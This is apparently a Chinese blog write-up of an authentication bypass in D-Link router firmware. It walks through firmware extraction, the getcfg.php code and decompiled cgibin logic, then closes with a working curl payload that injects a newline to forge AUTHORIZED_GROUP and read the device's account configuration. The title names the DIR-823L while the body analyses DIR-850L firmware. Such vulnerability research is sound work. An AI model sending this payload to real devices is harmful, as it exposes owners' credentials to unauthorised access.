Dlink DIR-823L远程敏感信息读取漏洞

有幸加入了360的IOT计划,接触一下IOT安全。

前期准备

下载固件

Dlink DIR-850L A1 FW v1.14固件下载

环境准备

安装binwalk和qemu

1
2
3
brew install biwalk
brew install qemu
brew install squashfs

固件提取

1
binwalk -Me DIR850LA1_FW114WWb07.bin

固件分析

因为不是很懂Bin的知识,所以到squashfs-root/htdocs/web分析php页面。

找到htdocs/web/getcfg.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<? include "/htdocs/phplib/trace.php";
function is_power_user() //管理用户权限
{
if($_GLOBALS["AUTHORIZED_GROUP"] == "")
{
return 0;
}
if($_GLOBALS["AUTHORIZED_GROUP"] < 0)
{
return 0;
}
return 1;
}
if ($_POST["CACHE"] == "true")
{
echo dump(1, "/runtime/session/".$SESSION_UID."/postxml");
}
else
{
if(is_power_user() == 1)
{
/* cut_count() will return 0 when no or only one token. */
$SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");
TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
$SERVICE_INDEX = 0;
while ($SERVICE_INDEX < $SERVICE_COUNT)
{
$GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
if ($GETCFG_SVC!="")
{
$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php"; //读取文件直接拼接到字符串
/* GETCFG_SVC will be passed to the child process. */
if (isfile($file)=="1") dophp("load", $file);
}
$SERVICE_INDEX++;
}
}
else
{
/* not a power user, return error message */
echo "\t<result>FAILED</result>\n";
echo "\t<message>Not authorized</message>\n";
}
}
?>

$GETCFG_SVC变量直接从POST中获取,并且没有过滤就直接放入了字符串,只要能绕过is_power_user()j就能构造payload读取敏感文件,$_GLOBALS数组是在cgibin文件中定义的,而不是php的原生数组。所以需要分析一下cgibin文件。

mips架构没法用ida反编译,Web狗看不懂汇编代码,只能放到jeb里反编译。

对main进行分析,不同的请求会到不同的文件处理,找到phpcgi函数。

下面是关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$$v0 = sess_validate($$a0, $$a1, 524288, $$a3);
$$a2 = $$v0;
$$v0 = sprintf(&var30_8, "AUTHORIZED_GROUP=%d");
$$v0 = sobj_add_string($$s0, &var30_8, $$a2, $$a3);
$$v0 = sobj_add_char($$s0, 10, $$a2, $$a3);
$$v0 = sobj_add_string($$s0, "SESSION_UID=", $$a2, $$a3);
$$v0 = sess_get_uid($$s0, "SESSION_UID=", $$a2, $$a3);
$$v0 = sobj_add_char($$s0, 10, $$a2, $$a3);
$$v0 = sobj_get_string($$s0, 10, $$a2, $$a3);
$$a0 = 0;
$$a2 = $$v0;
$$a3 = **&gvar_437E18;
$$a1 = 0;
$$v0 = xmldbc_ephp(0, 0, $$a2, $$a3);
$$s1 = $$v0;

在 phpcgi_main 函数中,程序将不同的请求头处理后传给了php。关键代码将经过sess_validate验证的数据,赋值给AUTHORIZED_GROUP,然后再作为全局数组$_GLOBALS传递给PHP程序使用。sobj_add_string以 \n分隔储存在字符串中,所以用户可以通过注入带有 \n 字符的恶意 payload 来伪造$_GLOBALS["AUTHORIZED_GROUP"]的值,从而读取敏感文件。

payload:

1
curl -d "SERVICES=DEVICE.ACCOUNT&attack=ture%0aAUTHORIZED_GROUP=1" "http://ip:port/getcfg.php"

参考文章

https://xz.aliyun.com/t/2941